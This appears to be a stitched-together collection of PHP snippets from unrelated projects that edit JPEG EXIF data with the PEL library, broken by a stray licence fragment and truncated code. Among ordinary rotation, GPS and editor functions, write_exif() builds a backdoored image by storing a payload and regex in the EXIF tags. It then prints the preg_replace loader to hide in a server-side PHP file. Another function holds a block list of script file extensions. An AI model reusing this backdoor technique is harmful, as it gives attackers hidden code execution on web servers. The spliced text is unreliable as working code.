function testThisDoesNotWorkAsExpected()
{
$subject = "Превед, медвед!";
$data = new PelDataWindow(file_get_contents($this->file));
if (PelJpeg::isValid($data)) {
$jpeg = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if (null == $exif) {
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
}
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
if (null == $ifd0) {
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
}
$ifd0->addEntry(new PelEntryWindowsString(PelTag::XP_SUBJECT, $subject));
file_put_contents($this->file, $jpeg->getBytes());
$jpeg = new PelJpeg($this->file);
$exif = $jpeg->getExif();
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
$written_subject = $ifd0->getEntry(PelTag::XP_SUBJECT);
$this->assertEqual($subject, $written_subject->getValue());
}
function addGPSdata($infile, $outfile, $GPS_lat, $GPS_lon, $GPS_alt)
{
try {
$image = new PelJpeg($infile);
} catch (Exception $exc) {
return -1;
}
if ($image instanceof PelJpeg) {
if ($image->isValid(new PelDataWindow($image->getBytes()))) {
$exif = $image->getExif();
if ($exif == null) {
$exif = new PelExif();
$image->setExif($exif);
$exif->setTiff(new PelTiff());
}
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
$ifd0 = new PelIFD(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
/* Tags erzeugen */
$subifd = new PelIfd(PelIfd::GPS);
$GPS_latref = $GPS_lat < 0 ? "S" : "N";
$GPS_lonref = $GPS_lon < 0 ? "W" : "E";
$GPS_altref = $GPS_alt < 0 ? 1 : 0;
list($degrees, $minutes, $milliseconds) = dec2dms(abs($GPS_lat));
$gpslat = new PelEntryRational(PelTag::GPS_LATITUDE, array($degrees, 1), array($minutes, 1), array($milliseconds, 1000));
list($degrees, $minutes, $milliseconds) = dec2dms(abs($GPS_lon));
$gpslon = new PelEntryRational(PelTag::GPS_LONGITUDE, array($degrees, 1), array($minutes, 1), array($milliseconds, 1000));
echo $GPS_alt * 1000;
$gpsalt = new PelEntryRational(PelTag::GPS_ALTITUDE, array(abs($GPS_alt * 1000), 1000));
$gpslatref = new PelEntryAscii(PelTag::GPS_LATITUDE_REF, $GPS_latref);
$gpslonref = new PelEntryAscii(PelTag::GPS_LONGITUDE_REF, $GPS_lonref);
$gpsaltref = new PelEntryByte(PelTag::GPS_ALTITUDE_REF, $GPS_altref);
$gpsversion = new PelEntryByte(PelTag::GPS_VERSION_ID, 2, 2, 0, 0);
/* Daten eintragen.*/
$subifd->addEntry($gpsversion);
$subifd->addEntry($gpslat);
$subifd->addEntry($gpslon);
$subifd->addEntry($gpsalt);
$subifd->addEntry($gpslatref);
$subifd->addEntry($gpslonref);
$subifd->addEntry($gpsaltref);
$ifd0->addSubIfd($subifd);
file_put_contents($outfile, $image->getBytes());
return 0;
}
}
return -1;
}
static function rotate_item($item)
{
require_once MODPATH . 'autorotate/lib/pel/PelDataWindow.php';
require_once MODPATH . 'autorotate/lib/pel/PelJpeg.php';
require_once MODPATH . 'autorotate/lib/pel/PelTiff.php';
// Only try to rotate photos based on EXIF
if ($item->is_photo() && $item->mime_type == "image/jpeg") {
require_once MODPATH . "exif/lib/exif.php";
$exif_raw = read_exif_data_raw($item->file_path(), false);
if (isset($exif_raw['ValidEXIFData'])) {
$orientation = $exif_raw["IFD0"]["Orientation"];
$degrees = 0;
if ($orientation == '3: Upside-down') {
$degrees = 180;
} else {
if ($orientation == '8: 90 deg CW') {
$degrees = -90;
} else {
if ($orientation == '6: 90 deg CCW') {
$degrees = 90;
}
}
}
if ($degrees) {
$tmpfile = tempnam(TMPPATH, "rotate");
gallery_graphics::rotate($item->file_path(), $tmpfile, array("degrees" => $degrees));
// Update EXIF info
$data = new PelDataWindow(file_get_contents($tmpfile));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif !== null) {
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
$orientation = $ifd0->getEntry(PelTag::ORIENTATION);
$orientation->setValue(1);
file_put_contents($tmpfile, $file->getBytes());
}
}
$item->set_data_file($tmpfile);
$item->save();
unlink($tmpfile);
}
}
}
return;
}
/**
* Updates the description of an image with the given data
*
* @param $id The internal id of the image
* @param $title The title of the image
* @param $description The description of the image
* @param $category The category of the image
* @param $tags An array of tags of the image
*/
public function updateDescription($filename, $id, $title, $description, $category, $tags)
{
$data = new PelDataWindow(file_get_contents($filename));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif == null) {
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
} else {
$tiff = $exif->getTiff();
}
} elseif (PelTiff::isValid($data)) {
$tiff = $file = new PelTiff();
$tiff->load($data);
} else {
return 0;
}
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
$desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
$description = json_encode(array('id' => $id, 'Title' => $title, 'Description' => $description, 'Category' => $category, 'Tags' => implode(',', $tags)));
if ($desc == null) {
$desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description);
$ifd0->addEntry($desc);
} else {
$desc->setValue($description);
}
$file->saveFile($filename);
}
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program in the file COPYING; if not, write to the
* Free Software Foundation, Inc., 51 Franklin St, Fifth Floor,
* Boston, MA 02110-1301 USA
*/
require_once '../share/classes/pel-0.9.1/PelDataWindow.php';
require_once '../share/classes/pel-0.9.1/PelJpeg.php';
require_once '../share/classes/pel-0.9.1/PelTiff.php';
$data = new PelDataWindow(file_get_contents($input));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif == null) {
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
} else {
$tiff = $exif->getTiff();
}
} elseif (PelTiff::isValid($data)) {
$tiff = $file = new PelTiff();
/* Now load the data. */
$tiff->load($data);
public function saveEdit($file, $name, $options = array(), $quality = 100)
{
// Check for request forgeries
WFToken::checkToken() or die('Access to this resource is restricted');
// check for image editor access
if ($this->checkAccess('image_editor', 1) === false) {
JError::raiseError(403, 'Access to this resource is restricted');
}
$browser = $this->getBrowser();
$filesystem = $browser->getFileSystem();
// check file
self::validateImagePath($file);
// clean temp
$this->cleanEditorTmp($file, false);
// check new name
self::validateImagePath($name);
$upload = JRequest::getVar('file', '', 'files', 'array');
// create a filesystem result object
$result = new WFFileSystemResult();
if (isset($upload) && isset($upload['tmp_name']) && is_uploaded_file($upload['tmp_name'])) {
$tmp = $upload['tmp_name'];
self::validateImageFile($tmp);
$exif = null;
// get exif data from orignal file
if (preg_match('#\\.jp(eg|g)$#i', basename($file)) && basename($file) == basename($name)) {
// load exif classes
require_once dirname(__FILE__) . '/pel/PelJpeg.php';
$src = WFUtility::makePath($filesystem->getBaseDir(), $file);
$jpeg = new PelJpeg($src);
$exif = $jpeg->getExif();
}
$result = $filesystem->upload('multipart', trim($tmp), dirname($file), basename($name));
if ($result->state === true && $exif) {
$pel = new PelDataWindow($result->path);
if (PelJpeg::isValid($pel)) {
$jpeg = new PelJpeg();
$jpeg->load($pel);
$jpeg->setExif($exif);
//$jpeg->saveFile($result->path);
// write to file
JFile::write($result->path, $jpeg->getBytes());
}
}
@unlink($tmp);
} else {
// set upload as false - JSON request
$upload = false;
$file = WFUtility::makePath($filesystem->getBaseDir(), $file);
$dest = dirname($file) . '/' . basename($name);
// get extension
$ext = WFUtility::getExtension($dest);
// load image class
require_once dirname(__FILE__) . '/image/image.php';
// create image
$image = new WFImage($file, $this->getParam('prefer_imagick', true));
foreach ($options as $filter) {
if (isset($filter->task)) {
$args = isset($filter->args) ? (array) $filter->args : array();
switch ($filter->task) {
case 'resize':
$w = $args[0];
$h = $args[1];
$image->resize($w, $h);
break;
case 'crop':
$w = $args[0];
$h = $args[1];
$x = $args[2];
$y = $args[3];
$image->crop($w, $h, $x, $y);
break;
case 'rotate':
$image->rotate(array_shift($args));
break;
case 'flip':
$image->flip(array_shift($args));
break;
default:
$image->filter($filter->task, $args);
break;
}
}
}
// get image data
$data = $image->toString($ext);
// write to file
if ($data) {
$result->state = (bool) @JFile::write($dest, $data);
}
// set path
$result->path = $dest;
}
if ($result->state === true) {
// check if its a valid image
if (@getimagesize($result->path) === false) {
JFile::delete($result->path);
throw new InvalidArgumentException('Invalid image file');
} else {
$result->path = str_replace(WFUtility::cleanPath(JPATH_SITE), '', $result->path);
$browser->setResult(WFUtility::cleanPath($result->path, '/'), 'files');
}
} else {
$browser->setResult($result->message || WFText::_('WF_IMGMANAGER_EXT_EDIT_SAVE_ERROR'), 'error');
}
// set header and exit
if ($upload) {
header("Expires: Wed, 4 Apr 1984 13:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M_Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
die(json_encode($browser->getResult()));
}
// return to WFRequest
return $browser->getResult();
}
/**
* Strip orientation from EXIF data for an image at a path.
*
* @param $filePath
*
* @return bool
*/
public function stripOrientationFromExifData($filePath)
{
if (!ImageHelper::canHaveExifData($filePath)) {
return null;
}
$data = new \PelDataWindow(IOHelper::getFileContents($filePath));
// Is this a valid JPEG?
if (\PelJpeg::isValid($data)) {
$jpeg = $file = new \PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif) {
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
// Delete the Orientation entry and re-save the file
$ifd0->offsetUnset(\PelTag::ORIENTATION);
$file->saveFile($filePath);
}
return true;
} else {
return false;
}
}
public function exifOrientation($input_file, $output_file)
{
$data = new PelDataWindow(file_get_contents($input_file));
if (PelJpeg::isValid($data)) {
$jpeg = new PelJpeg();
$jpeg->load($data);
if ($jpeg != null) {
$exif = $jpeg->getExif();
if ($exif != null) {
$tiff = $exif->getTiff();
if ($tiff != null) {
$ifd0 = $tiff->getIfd();
if ($ifd0 != null) {
$orientation = $ifd0->getEntry(PelTag::ORIENTATION);
$orientation->setValue(0);
$sEXIF_description = "Picture rotated automatically.";
$description = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
if ($description == null) {
$description = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $sEXIF_description);
$ifd0->addEntry($description);
} else {
$sEXIF_description_old = $description->getValue();
$description->setValue($sEXIF_description);
}
file_put_contents($output_file, $jpeg->getBytes());
}
}
}
}
}
}
function write_exif()
{
global $verbose, $headers, $regex, $payload, $original, $backdoored;
require_once 'pel/PelDataWindow.php';
require_once 'pel/PelJpeg.php';
require_once 'pel/PelTiff.php';
setlocale(LC_ALL, '');
$data = new PelDataWindow(file_get_contents($original));
if (PelJpeg::isValid($data)) {
$jpeg = $file = new PelJpeg();
$jpeg->load($data);
$exif = $jpeg->getExif();
if ($exif == null) {
if ($verbose) {
print " # No APP1 section found, added new.\r\n";
}
$exif = new PelExif();
$jpeg->setExif($exif);
$tiff = new PelTiff();
$exif->setTiff($tiff);
} else {
if ($verbose) {
print " # Found existing APP1 section.\r\n";
}
$tiff = $exif->getTiff();
}
} elseif (PelTiff::isValid($data)) {
$tiff = $file = new PelTiff();
$tiff->load($data);
} else {
print " # Unrecognized image format! The first 16 bytes follow:\r\n";
PelConvert::bytesToDump($data->getBytes(0, 16));
exit(1);
}
$ifd0 = $tiff->getIfd();
if ($ifd0 == null) {
if ($verbose) {
print " # No IFD found, adding new.\r\n";
}
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
//add MODEL EXIF header
$desc = $ifd0->getEntry(PelTag::MODEL);
if ($desc == null) {
if ($verbose) {
print " # Added new MODEL entry with " . $payload . "\r\n";
}
$desc = new PelEntryAscii(PelTag::MODEL, $payload);
$ifd0->addEntry($desc);
} else {
if ($verbose) {
print 'Updating MODEL entry from "' . $desc->getValue() . '" to "' . $payload . '".' . "\r\n";
}
$desc->setValue($payload);
}
//add MAKE EXIF header
$desc = $ifd0->getEntry(PelTag::MAKE);
if ($desc == null) {
if ($verbose) {
print " # Added new MAKE entry with " . $regex . "\r\n";
}
$desc = new PelEntryAscii(PelTag::MAKE, $regex);
$ifd0->addEntry($desc);
} else {
if ($verbose) {
print 'Updating MAKE entry from "' . $desc->getValue() . '" to "' . $regex . '".' . "\r\n";
}
$desc->setValue($regex);
}
print " # Saving backdoor file : " . $backdoored . ".\r\n";
$file->saveFile($backdoored);
print " # Saved.\r\n";
if ($verbose) {
print "\r\n\r\n";
}
print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n";
print "\r\n<?php\r\n\$exif = exif_read_data('path_to_backdoored_file_uploaded_on_server.jpg');\r\n";
print "preg_replace(\$exif['" . $headers[0] . "'],\$exif['" . $headers[1] . "'],'');\r\n?>\r\n\r\n";
}
function writeExif()
{
//$prog = array_shift($argv);
$error = false;
$input = array_shift($argv);
$output = array_shift($argv);
/*if (isset($input))
{
echo "Input file: ".$input."<br>";
} else
{
$error = true;
}
if (isset($output)) {
echo "Output file: ".$output."<br>";
} else {
$error = true;
}*/
/*if ($error) {
echo "Error: Input or Output file not set.";
exit(1);
}*/
/* We typically need lots of RAM to parse TIFF images since they tend
* to be big and uncompressed. */
ini_set('memory_limit', '32M');
/* The input file is now read into a PelDataWindow object. At this
* point we do not know if the file stores JPEG or TIFF data, so
* instead of using one of the loadFile methods on PelJpeg or PelTiff
* we store the data in a PelDataWindow. */
echo 'Reading file "' . $input . '"<br>';
$data = new PelDataWindow(file_get_contents($input));
/* The static isValid methods in PelJpeg and PelTiff will tell us in
* an efficient maner which kind of data we are dealing with. */
if (PelJpeg::isValid($data)) {
/* The data was recognized as JPEG data, so we create a new empty
* PelJpeg object which will hold it. When we want to save the
* image again, we need to know which object to same (using the
* getBytes method), so we store $jpeg as $file too. */
$jpeg = $file = new PelJpeg();
/* We then load the data from the PelDataWindow into our PelJpeg
* object. No copying of data will be done, the PelJpeg object will
* simply remember that it is to ask the PelDataWindow for data when
* required. */
$jpeg->load($data);
/* The PelJpeg object contains a number of sections, one of which
* might be our Exif data. The getExif() method is a convenient way
* of getting the right section with a minimum of fuzz. */
$exif = $jpeg->getExif();
if ($exif == null) {
/* Ups, there is no APP1 section in the JPEG file. This is where
* the Exif data should be. */
echo 'No APP1 section found, added new.<br>';
/* In this case we simply create a new APP1 section (a PelExif
* object) and adds it to the PelJpeg object. */
$exif = new PelExif();
$jpeg->setExif($exif);
/* We then create an empty TIFF structure in the APP1 section. */
$tiff = new PelTiff();
$exif->setTiff($tiff);
} else {
/* Surprice, surprice: Exif data is really just TIFF data! So we
* extract the PelTiff object for later use. */
println('Found existing APP1 section.<br>');
$tiff = $exif->getTiff();
}
} elseif (PelTiff::isValid($data)) {
/* The data was recognized as TIFF data. We prepare a PelTiff
* object to hold it, and record in $file that the PelTiff object is
* the top-most object (the one on which we will call getBytes). */
$tiff = $file = new PelTiff();
/* Now load the data. */
$tiff->load($data);
} else {
/* The data was not recognized as either JPEG or TIFF data.
* Complain loudly, dump the first 16 bytes, and exit. */
println('Unrecognized image format! The first 16 bytes follow:');
PelConvert::bytesToDump($data->getBytes(0, 16));
exit(1);
}
/* TIFF data has a tree structure much like a file system. There is a
* root IFD (Image File Directory) which contains a number of entries
* and maybe a link to the next IFD. The IFDs are chained together
* like this, but some of them can also contain what is known as
* sub-IFDs. For our purpose we only need the first IFD, for this is
* where the image description should be stored. */
$ifd0 = $tiff->getIfd();
//echo $ifd0."<br>";
if ($ifd0 == null) {
/* No IFD in the TIFF data? This probably means that the image
* didn't have any Exif information to start with, and so an empty
* PelTiff object was inserted by the code above. But this is no
* problem, we just create and inserts an empty PelIfd object. */
println('No IFD found, adding new.<br>');
$ifd0 = new PelIfd(PelIfd::IFD0);
$tiff->setIfd($ifd0);
}
/* Each entry in an IFD is identified with a tag. This will load the
* ImageDescription entry if it is present. If the IFD does not
* contain such an entry, null will be returned. */
$desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
if (false) {
/* We need to check if the image already had a description stored. */
if ($desc == null) {
/* The was no description in the image. */
println('Added new IMAGE_DESCRIPTION entry with "%s<br>".', $description);
/* In this case we simply create a new PelEntryAscii object to hold
* the description. The constructor for PelEntryAscii needs to know
* the tag and contents of the new entry. */
$desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description);
/* This will insert the newly created entry with the description
* into the IFD. */
$ifd0->addEntry($desc);
} else {
/* An old description was found in the image. */
println('Updating IMAGE_DESCRIPTION entry from "%s" to "%s<br>".', $desc->getValue(), $description);
/* The description is simply updated with the new description. */
$desc->setValue($description);
}
}
//$ifd1 = new PelIfd(PelIfd::IFD0);
$ifd1 = $ifd0->getSubIfd(PelIfd::GPS);
if ($ifd1 == null) {
/* No IFD in the TIFF data? This probably means that the image
* didn't have any Exif information to start with, and so an empty
* PelTiff object was inserted by the code above. But this is no
* problem, we just create and inserts an empty PelIfd object. */
echo 'No GPS found, adding new.<br>';
$ifd1 = new PelIfd(PelIfd::GPS);
//getEntries
$ifd0->addSubIfd($ifd1);
//$ifd0->setNextIfd($ifd1);
}
//echo "ifd1: ".$ifd1."<br>";
$lat = $ifd1->getEntry(PelTag::GPS_LATITUDE);
//echo $lat."<br>";
$gps_arr1[0] = 10;
$gps_arr1[1] = 1;
$gps_arr2[0] = 5;
$gps_arr2[1] = 1;
$gps_arr3[0] = 12;
$gps_arr3[1] = 1;
//$gps_arr[3] = 1;
//$gps_arr[4] = 1;
//$gps_arr[5] = 1;
if ($lat == null) {
$lat = new PelEntryRational(PelTag::GPS_LATITUDE, $gps_arr1, $gps_arr2, $gps_arr3);
//$lat = new PelEntryRational(PelTag::GPS_LATITUDE, 10, 5, 12);
echo "Creating latitude entry... ";
$ifd1->addEntry($lat);
echo "Created.<br>";
} else {
$lat->setValue($gps_arr1, $gps_arr2, $gps_arr3);
//$lat->setValue(10, 5, 12);
}
/* At this point the image on disk has not been changed, it is only
* the object structure in memory which represent the image which has
* been altered. This structure can be converted into a string of
* bytes with the getBytes method, and saving this in the output file
* completes the script. */
println('Writing file "%s".<br>', $output);
file_put_contents($output, $file->getBytes());
$exifdata = exif_read_data($output, "", true, false);
echo "Latitude: " . $exifdata["GPS"]["GPSLatitude"][0] . " " . $exifdata["GPS"]["GPSLatitude"][1] . " " . $exifdata["GPS"]["GPSLatitude"][2] . "<br>";
}
public function exifOrientation($input_file, $output_file)
{
$data = new PelDataWindow(file_get_contents($input_file));
if (PelJpeg::isValid($data)) {
$jpeg = new PelJpeg();
$jpeg->load($data);
if ($jpeg != null) {
$exif = $jpeg->getExif();
if ($exif != null) {
$tiff = $exif->getTiff();
if ($tiff != null) {
$ifd0 = $tiff->getIfd();
if ($ifd0 != null) {
// change tag "orientation"
$orientation = $ifd0->getEntry(PelTag::ORIENTATION);
$orientation->setValue(0);
//$orientation->getValue();
// Change tag "image_description"
$sEXIF_description = "Picture rotated automatically.";
$description = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION);
// We need to check if the image already had a description stored.
if ($description == null) {
// Create a new PelEntryAscii object to hold the description.
$description = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $sEXIF_description);
// This will insert the newly created entry with the description into the IFD.
$ifd0->addEntry($description);
} else {
// Save old description found in the image
$sEXIF_description_old = $description->getValue();
// Update description
$description->setValue($sEXIF_description);
}
// write file
file_put_contents($output_file, $jpeg->getBytes());
}
}
}
}
}
}
function saveEdit()
{
// check for image editor access
if (!$this->checkAccess('image_editor', 1)) {
JError::raiseError(403, 'RESTRICTED ACCESS');
}
$editor = $this->getImageEditor();
$browser = $this->getBrowser();
$args = func_get_args();
// file src
$file = array_shift($args);
// check file
WFUtility::checkPath($file);
// file name
$name = array_shift($args);
// check name
WFUtility::checkPath($name);
// check for extension in destination name
if (preg_match('#\\.(php|php(3|4|5)|phtml|pl|py|jsp|asp|htm|html|shtml|sh|cgi)\\b#i', $name)) {
JError::raiseError(403, 'INVALID FILE NAME');
}
// edit data
$props = array_shift($args);
// exif data
$exif = null;
$data = JRequest::getVar('data', '', 'POST', 'STRING', JREQUEST_ALLOWRAW);
if (preg_match('#data:image\\/(jpeg|jpg|png|bmp);base64#', $data)) {
// replace spaces
$data = str_replace(' ', '+', $data);
// remove header
$data = substr($data, strpos($data, ",") + 1);
// decode data
$data = base64_decode($data);
$src = WFUtility::makePath(JPATH_SITE, $file);
$dest = dirname($src) . DS . basename($name);
// get exif data from orignal file
if (preg_match('#\\.jp(eg|g)$#i', basename($file)) && basename($file) == basename($dest)) {
// load exif classes
require_once dirname(__FILE__) . DS . 'pel' . DS . 'PelJpeg.php';
$jpeg = new PelJpeg($src);
$exif = $jpeg->getExif();
}
if (!JFile::write($dest, $data)) {
$browser->setResult(WFText::_('WF_IMGMANAGER_EXT_ERROR'), 'error');
} else {
$browser->setResult(basename($dest), 'files');
if ($exif && basename($file) == basename($dest)) {
$pel = new PelDataWindow($data);
if (PelJpeg::isValid($pel)) {
$jpeg = new PelJpeg();
$jpeg->load($pel);
/*$dim = @getimagesize($dest);
if ($dim) {
$tiff = $exif->getTiff();
$ifd0 = $tiff->getIfd();
$width = $ifd0->getEntry(PelTag::IMAGE_WIDTH);
$height = $ifd0->getEntry(PelTag::IMAGE_LENGTH);
$width->setValue($dim[0]);
$height->setValue($dim[1]);
}*/
$jpeg->setExif($exif);
$jpeg->saveFile($dest);
}
}
}
} else {
$browser->setResult(WFText::_('WF_IMGMANAGER_EXT_ERROR'), 'error');
}
return $browser->getResult();
}
